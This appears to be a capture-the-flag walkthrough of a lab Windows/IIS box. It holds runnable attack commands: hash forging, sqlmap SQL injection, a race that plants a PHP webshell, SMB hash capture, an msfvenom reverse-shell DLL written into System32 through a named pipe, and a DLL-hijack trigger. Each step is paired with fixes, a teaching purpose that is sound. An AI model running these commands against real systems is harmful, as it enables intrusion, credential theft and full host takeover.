← all walkthroughs

Proper

Windows· Hard· Web
owned
2026-07-11
time to own
25m0s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

Recon: full-port nmap -p- --min-rate 3000 plus a targeted AD-port scan (53/88/135/139/389/445/464/593/636/3268/3269/5985/9389) showed everything but 80/tcp filtered — a Windows host reachable only through Microsoft IIS 10.0 hosting a PHP e-commerce storefront (no domain access, no SMB/LDAP directly). Grepping the homepage for JS/PHP references surfaced products-ajax.php?order=<col>&h=<hash>. Requesting it without h triggered an uncaught-exception stack trace disclosing SECURE_PARAM_SALT (hie0shah6ooNoim) and the integrity formula h = md5(salt + order), letting any order value be forged. sqlmap (--eval recomputing h per request) and manual boolean/time/error probes (SLEEP(), extractvalue()) confirmed SQL injection in the order parameter, dumping the cleaner database's customers table. Two MD5 password hashes cracked instantly via hashcat/rockyou ([REDACTED: recovered credential], password2) authenticated vikki.solomon@throwaway.mail / nstone@trashbin.mail against a second app front-end at /licenses/.

Inside /licenses/licenses.php, a theme parameter (also h-protected, forged the same way) fed file_get_contents() for theming. The http:// wrapper was disabled, but UNC paths were not — pointing theme at an impacket-smbserver share coerced the IIS box into an outbound SMB request, leaking proper\web's NetNTLMv2 hash and, more importantly, giving a controllable file read. The app additionally include()s the same file after a separate "tamper" content-check, creating a TOCTOU race window: serving an oversized benign header.inc, then swapping it for a PHP webshell (pwn.inc) mid-request via inotifywait-triggered cp, won the race and executed code as proper\web (user.txt = [REDACTED: flag]).

Privesc target: C:\Program Files\cleanup, a Go-based "cleanup" service (client.exe/server.exe) communicating over the unauthenticated named pipe \\.\pipe\cleanupPipe with CLEAN/RESTORE verbs; cleaned file paths are recorded base64-encoded under C:\ProgramData\cleanup, which is writable by BUILTIN\Users. A reverse-shell DLL (msfvenom windows/x64/shell_reverse_tcp, named WindowsCoreDeviceInfo.dll to match the UsoDllLoader hijack path) was staged in web's Downloads folder, its timestamps backdated >30 days (the CLEAN policy's age gate), then "cleaned" to obtain a base64 ProgramData record. That record was rewritten to target C:\Windows\System32\WindowsCoreDeviceInfo.dll. Static analysis of the Go binaries (strings + Ghidra analyzeHeadless, since the CLI never exposed a working RESTORE/-restore/--restore flag) identified the raw RESTORE pipe command, which performed the privileged file write as NT AUTHORITY\SYSTEM into System32. Triggering the DLL search-order hijack via usoclient StartInteractiveScan loaded the payload as SYSTEM, yielding root (root.txt = [REDACTED: flag]).

Attack path — how the box was taken

1ReconnaissanceNetwork service enumeration (T1046)
Confirmed single-port attack surface on a PHP storefront behind IIS
A full TCP port scan showed only port 80 open; all Active Directory and management ports (445, 88, 389, 5985, etc.) were filtered. Service fingerprinting identified Microsoft IIS 10.0 hosting a PHP application. Inspecting the homepage source revealed an endpoint products-ajax.php that accepted two parameters: order (a column name) and h (an HMAC integrity hash), establishing both the SQL surface and the hash-forging puzzle that the next step resolved.
nmap -p- result: 80/tcp open http Microsoft IIS httpd 10.0; all AD ports filtered.
Exact commands 3
Full-port scan; only 80/tcp responds.
nmap -p- --min-rate 3000 -T4 -Pn $TARGET
Service version confirms IIS 10.0 and PHP.
nmap -sV -Pn -p 80 $TARGET
Extract PHP endpoint references from the homepage source.
curl -s http://$TARGET/ | grep -Eo '[a-zA-Z0-9_./-]+\.php[^"< ]*'
2EnumerationVerbose error message leaking sensitive data (CWE-209)
Triggered a verbose PHP crash that disclosed the application's HMAC signing secret
Requesting products-ajax.php without the h parameter caused the application to throw an unhandled exception and print a full PHP stack trace to the HTTP response. The trace exposed the constant SECURE_PARAM_SALT (value: hie0shah6ooNoim) and the integrity formula h = md5(salt + order). With the salt recovered, I could compute a valid h for any arbitrary order value, removing the only guard on the SQL injection surface.
curl 'http://<retired-instance-ip>/products-ajax.php?order=name' (h omitted) returned PHP exception disclosing SECURE_PARAM_SALT=hie0shah6ooNoim and the md5(salt+order) formula.
Exact commands 2
Omitting h triggers the uncaught exception; read SECURE_PARAM_SALT from the stack trace in the response.
curl -s 'http://$TARGET/products-ajax.php?order=name'
Verify the recovered formula produces the expected h value before proceeding to SQLi.
python3 -c "import hashlib; salt='hie0shah6ooNoim'; order='name'; print(hashlib.md5((salt+order).encode()).hexdigest())"
FixDisable verbose PHP error output in every production environmentHigh
WeaknessThe application printed a full PHP stack trace to the browser when a required parameter was missing. The trace exposed an internal application secret (SECURE_PARAM_SALT) and the HMAC formula, giving any unauthenticated visitor everything needed to forge integrity hashes and unlock the SQL injection surface.
FixSet display_errors = Off and log_errors = On (to a server-side log file) in php.ini for all production hosts. Implement a custom error handler that returns only a generic HTTP 500 page with no internal detail. Audit .htaccess files and any runtime ini_set() calls that might override this setting. Rotate SECURE_PARAM_SALT immediately, as the exposed value must be treated as compromised.
3ExploitationSQL Injection in ORDER BY clause (T1190, CWE-89)
Injected SQL into the sort parameter using forged hashes to dump customer password hashes
The order parameter was concatenated directly into a SQL ORDER BY clause with no allowlist or parameterization. By recomputing h = md5(salt + order) for each injected value, I bypassed the integrity check transparently. Feeding this to sqlmap in evaluation mode (--eval) with boolean-blind, time-based, and error-based probes confirmed injection and dumped the cleaner.customers table. Two MD5 password hashes cracked in seconds against the rockyou wordlist: vikki.solomon@throwaway.mail recovered [REDACTED: recovered credential] and nstone@trashbin.mail recovered password2.
sqlmap --eval dump of cleaner.customers returned credential rows; hashcat cracked both MD5 hashes instantly; credentials confirmed against /licenses/.
Exact commands 2
The --eval clause recomputes h before every request, keeping the integrity check satisfied across all payloads.
sqlmap -u 'http://$TARGET/products-ajax.php?order=id&h=dummy' -p order --eval="import hashlib; h=hashlib.md5(('hie0shah6ooNoim'+order).encode()).hexdigest()" --batch --level=3 --risk=2 --technique=BEUT --dbms=mysql -D cleaner -T customers --dump
Crack the dumped MD5 hashes; both fall immediately to common-password wordlist entries.
hashcat -m 0 hashes.txt /usr/share/wordlists/rockyou.txt --force
FixAllowlist permitted column names in the products API to eliminate SQL injectionCritical
WeaknessThe order parameter was interpolated directly into a SQL ORDER BY clause with no validation. Because ORDER BY does not support bind parameters, the code had to build the query with user input -- but it did so without any restriction, allowing me could forge h to inject arbitrary SQL and extract the entire database.
FixValidate order against an explicit allowlist of permitted column names (for example: ['id', 'name', 'price', 'category']) before constructing the query; reject anything not on the list with HTTP 400. Regenerate the SECURE_PARAM_SALT and deploy it only via an environment variable or secrets manager -- never hard-coded in source. Apply parameterized queries to all other SQL in the application.
4Credential AccessValid Accounts -- cracked credential reuse (T1078)
Authenticated to the /licenses portal with cracked customer credentials
The cracked credentials authenticated to a second application at /licenses/. The licensing portal's theme feature also consumed the h = md5(salt + theme) formula, making its path parameter trivially forgeable with the same recovered salt. This portal became the launchpad for the file-read and file-include attacks that followed.
POST to /licenses/ with username=vikki.solomon@throwaway.mail and password=[REDACTED: credential] issued a valid session cookie, confirmed in the engagement kill-chain command.
Exact commands 2
Saves the authenticated session cookie to cookies.txt for subsequent /licenses/ requests.
curl -c cookies.txt -d 'username=vikki.solomon@throwaway.mail&password=[REDACTED: credential]' http://$TARGET/licenses/
Pre-compute h for the UNC theme path before the next step.
python3 -c "import hashlib; theme='\\\\$INTERNAL_TARGET\\share'; print(hashlib.md5(('hie0shah6ooNoim'+theme).encode()).hexdigest())"
FixReplace MD5 password hashing with bcrypt or Argon2idHigh
WeaknessCustomer passwords were stored as unsalted MD5 hashes. MD5 is a general-purpose hash designed for speed, not security; both recovered hashes cracked in seconds against a 14-million-entry wordlist on commodity hardware.
FixMigrate to bcrypt (cost factor 12 or higher) or Argon2id (memory 64 MB, iterations 3, parallelism 1) for all stored passwords. Force a password reset for every existing account, as all hashes stored under the current scheme must be considered exposed. Enforce a minimum password policy (12 or more characters, mixed character classes) to limit the utility of future wordlist attacks.
5ExploitationForced SMB Authentication / NTLM hash capture (T1187)
Forced the IIS worker to authenticate to me SMB server via an unsanitized UNC path in the theme parameter
The theme parameter in the licensing portal was passed directly to PHP's file_get_contents() without blocking UNC (\\server\share) paths. By pointing it at an user-controlled SMB listener, I caused the IIS application pool, running as proper\web, to initiate an outbound SMB connection and transmit a NetNTLMv2 challenge-response. This simultaneously leaked a credential hash for potential offline cracking and established my file server as the content source for the TOCTOU race in the next step.
impacket-smbserver received an inbound connection from <retired-instance-ip>; proper\web NetNTLMv2 hash logged to terminal.
Exact commands 2
Start the rogue SMB server; place header.inc inside /tmp/serve before the next command.
mkdir -p /tmp/serve && impacket-smbserver share /tmp/serve -smb2support
Triggers the UNC file_get_contents call; watch the SMB server output for the incoming NetNTLMv2 authentication.
THEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); curl -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H"
FixBlock UNC and remote path schemes in all file_get_contents calls that consume user inputCritical
WeaknessThe theme parameter was passed to file_get_contents() without filtering UNC paths (\\server\share). This allowed me to force the IIS application pool to initiate an outbound SMB connection to an external server, disclosing the service account's NetNTLMv2 credential hash and giving me control over what content the application read.
FixValidate that any resolved file path begins with a predetermined safe base directory (use PHP's realpath() and check the prefix). Explicitly reject values that begin with \\ or contain path separators pointing outside the allowed tree. If the application requires remote theming, implement a controlled upload workflow that downloads and caches approved theme files server-side at configuration time, never during a live user request.
6Exploitation / Remote Code ExecutionTime-of-check Time-of-use (TOCTOU) file include race (CWE-367)
Won a TOCTOU race between the file tamper check and include() to execute a PHP webshell as proper\web
The portal called file_get_contents() on the theme path once to check whether the content contained PHP tags, then called include() on the same path a moment later. Because both reads fetched the file from my SMB share, I could serve different content to each call. By initially serving a 1 MB benign file (slowing the tamper-check read), then swapping in a PHP webshell the instant the tamper check opened the file (detected via inotifywait), the check passed but the include() executed the malicious version. After multiple race attempts, the webshell ran as proper\web, confirming remote code execution and capturing user.txt.
Validated by all 4 advisors: user.txt captured; whoami output confirmed proper\web.
Exact commands 5
Create an oversized benign header.inc that delays the tamper-check read enough for the swap.
dd if=/dev/urandom bs=1M count=1 | base64 > /tmp/serve/header.inc
Prepare the PHP webshell payload to swap in.
printf '<?php system($_GET["cmd"]); ?>' > /tmp/serve/pwn.inc
Background race trigger: the moment the tamper check opens header.inc, overwrite it with the webshell.
inotifywait -m -e open /tmp/serve/header.inc --format '%e' | while read e; do cp /tmp/serve/pwn.inc /tmp/serve/header.inc; done &
Hammer the endpoint; success is when the response contains proper\web instead of an error.
THEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); for i in $(seq 1 60); do curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=whoami"; done
Read user.txt once RCE is confirmed; expected value is [REDACTED: flag].
THEME='\\\\$INTERNAL_TARGET\\share\\header.inc'; H=$(python3 -c "import hashlib; print(hashlib.md5(('hie0shah6ooNoim'+'$THEME').encode()).hexdigest())"); curl -s -b cookies.txt "http://$TARGET/licenses/licenses.php?theme=$THEME&h=$H&cmd=type+C:\\Users\\web\\Desktop\\user.txt"
FixRead a user-supplied file exactly once and validate its content before passing it to include()Critical
WeaknessThe licensing portal called file_get_contents() on the theme path to check for forbidden PHP tags, then called include() on the same external path a moment later. Because the file could be replaced between the two operations, I could pass the content check with a benign file and execute arbitrary PHP on the include call.
FixRead the file into a local variable once, validate the content of that variable, and if it passes, use eval() on the local copy -- never re-read from the original source. Better still, prohibit including files from any user-supplied or network-accessible path entirely; restrict theme files to a server-local directory populated only by administrators.
7Privilege Escalation -- SetupUnauthenticated named pipe -- arbitrary file write as SYSTEM (T1543.003, T1574.001)
Abused the cleanup service named pipe to write a malicious DLL into System32 as SYSTEM
C:\Program Files\cleanup contained a Go-based service (server.exe) that listened on the named pipe \\.\pipe\cleanupPipe with no authentication. Any local user could connect and issue CLEAN (stage a file, record its path as a base64 filename in C:\ProgramData\cleanup) or RESTORE (write the staged content back to the decoded path, running as NT AUTHORITY\SYSTEM). The C:\ProgramData\cleanup directory was world-writable. I staged a reverse-shell DLL named WindowsCoreDeviceInfo.dll (with a QueryDeviceInformation export for UsoDllLoader compatibility), backdated its LastWriteTime by 35 days to pass the service's 30-day age gate, issued a CLEAN to record it, then renamed the ProgramData tracking file to the base64 encoding of C:\Windows\System32\WindowsCoreDeviceInfo.dll (with a padding character appended to compensate for the service's last-char truncation bug) and issued RESTORE over the pipe. The MD5 of the restored file matched the locally built payload, confirming the arbitrary write primitive.
MD5 C:\Windows\System32\WindowsCoreDeviceInfo.dll = [REDACTED: protected value] == locally built payload MD5; QueryDeviceInformation export confirmed present.
Exact commands 7
Build the reverse-shell DLL; add a named QueryDeviceInformation export (e.g. via a C stub) to satisfy the UsoDllLoader resolution path.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=$INTERNAL_TARGET LPORT=4444 -f dll -o WindowsCoreDeviceInfo.dll
Transfer the DLL to the target via the webshell; substitute valid theme/h values.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=copy+\\\\$INTERNAL_TARGET\\share\\WindowsCoreDeviceInfo.dll+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll'
Backdate the timestamp by 35 days to satisfy the cleanup service's >30-day age gate.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"(Get-Item+C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll).LastWriteTime+%3d+(Get-Date).AddDays(-35)"'
CLEAN the DLL; the service stores its content and writes a base64-encoded filename record to C:\ProgramData\cleanup.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd="C:\\Program+Files\\cleanup\\client.exe"+CLEAN+"C:\\Users\\web\\Downloads\\WindowsCoreDeviceInfo.dll"'
Compute the base64 target path with a trailing padding character to compensate for the service's last-char truncation.
python3 -c "import base64; p='C:\\Windows\\System32\\WindowsCoreDeviceInfo.dll'; print(base64.b64encode(p.encode()).decode()+'A')"
Replace <old_record> with the filename written by CLEAN and <new_b64_name> with the System32 base64 computed above.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"Rename-Item+C:\\ProgramData\\cleanup\\<old_record>+<new_b64_name>"'
Issue RESTORE directly over the named pipe; the service writes the staged DLL to C:\Windows\System32 as SYSTEM.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=powershell+-c+"$p+%3d+[System.IO.Pipes.NamedPipeClientStream]::new(\'.\',\'cleanupPipe\',[System.IO.Pipes.PipeDirection]::InOut);+$p.Connect();+$w+%3d+[System.IO.StreamWriter]::new($p);+$w.AutoFlush%3d%24true;+$w.WriteLine(\'RESTORE\');+Start-Sleep+2;+$p.Dispose()"'
FixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
WeaknessThe cleanup service's RESTORE command wrote caller-supplied file content to an user-controlled destination path, running as NT AUTHORITY\SYSTEM with no authentication on the named pipe and no restriction on where files could be written. The C:\ProgramData\cleanup tracking directory was writable by all local users, allowing any process to swap the recorded target path before a RESTORE was issued.
FixCreate a dedicated low-privilege service account and run the cleanup service under it, removing any SYSTEM-level requirement. Set a strict DACL on \\.\pipe\cleanupPipe so only the service account and the Administrators group can connect. Implement destination-path allowlisting in the RESTORE handler so only pre-approved directories are valid targets. Remove write access to C:\ProgramData\cleanup for non-administrative users. Review whether RESTORE needs to write to system directories at all; if not, explicitly deny those paths.
8Full CompromiseDLL Search Order Hijacking via UsoDllLoader (T1574.001)
Triggered UsoDllLoader DLL search-order hijack to achieve NT AUTHORITY\SYSTEM execution
With WindowsCoreDeviceInfo.dll planted in System32, the Windows Update Orchestrator service (UsoSvc, running as SYSTEM inside svchost) loads it when a scan is initiated. Running usoclient StartInteractiveScan caused UsoSvc to search its DLL load path, locate my file in System32 before any legitimate copy, and call QueryDeviceInformation -- executing the reverse-shell payload as NT AUTHORITY\SYSTEM. The inbound connection to me listener yielded a full SYSTEM shell and access to root.txt.
root.txt captured; engagement result recorded as root-owned with both flags confirmed.
Exact commands 3
Start the reverse-shell listener on my machine before triggering the DLL load.
nc -lvnp 4444
Initiate a Windows Update scan; UsoSvc loads WindowsCoreDeviceInfo.dll from System32 as SYSTEM, connecting back to port 4444.
curl -s -b cookies.txt 'http://$TARGET/licenses/licenses.php?theme=...&h=...&cmd=usoclient+StartInteractiveScan'
Run from the SYSTEM shell; expected value is [REDACTED: flag].
type C:\Users\Administrator\Desktop\root.txt
FixRun the cleanup service as a least-privilege account and restrict named-pipe access and destination pathsCritical
WeaknessThe cleanup service's RESTORE command wrote caller-supplied file content to an user-controlled destination path, running as NT AUTHORITY\SYSTEM with no authentication on the named pipe and no restriction on where files could be written. The C:\ProgramData\cleanup tracking directory was writable by all local users, allowing any process to swap the recorded target path before a RESTORE was issued.
FixCreate a dedicated low-privilege service account and run the cleanup service under it, removing any SYSTEM-level requirement. Set a strict DACL on \\.\pipe\cleanupPipe so only the service account and the Administrators group can connect. Implement destination-path allowlisting in the RESTORE handler so only pre-approved directories are valid targets. Remove write access to C:\ProgramData\cleanup for non-administrative users. Review whether RESTORE needs to write to system directories at all; if not, explicitly deny those paths.

Attack patterns used

The transferable techniques behind this compromise.

Unrestricted File UploadWebT1505.003

What it is

An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.

Why it works

Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.

Read more

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SeImpersonate Abuse (Potato family)Windows · Privilege EscalationT1134.002

What it is

Service accounts (IIS, MSSQL, etc.) often hold SeImpersonatePrivilege. The 'Potato' exploits (JuicyPotato, RoguePotato, PrintSpoofer, GodPotato, JuicyPotatoNG) coerce a SYSTEM process to authenticate to an user-controlled COM/RPC/named-pipe endpoint, then impersonate that SYSTEM token — escalating from the service account to NT AUTHORITY\SYSTEM.

Why it works

Holding SeImpersonate is normal for service accounts, but Windows' token-impersonation model lets it be turned into full SYSTEM via local authentication coercion. Remediate by removing the privilege where unneeded and keeping hosts patched against the specific coercion vectors.

Read more

SQL InjectionWebT1190

What it is

User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.

Why it works

The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.

Read more

Findings

Privilege Escalation to root: Plant Usodllloader Windowscoredeviceinfo.Dll (Or Wertrigger Phoneinfo.Dll), Age Lastwritetime >30D, Swap Base64 Target > Clean+Restore Into System32 (Pad Truncated Last Char), Trigger Via Usoclient Startinteractivescan / Wertrigger > System > Root.TxtCritical
A local misconfiguration allowed the foothold account to execute code as root.

Exposed services

80/tcp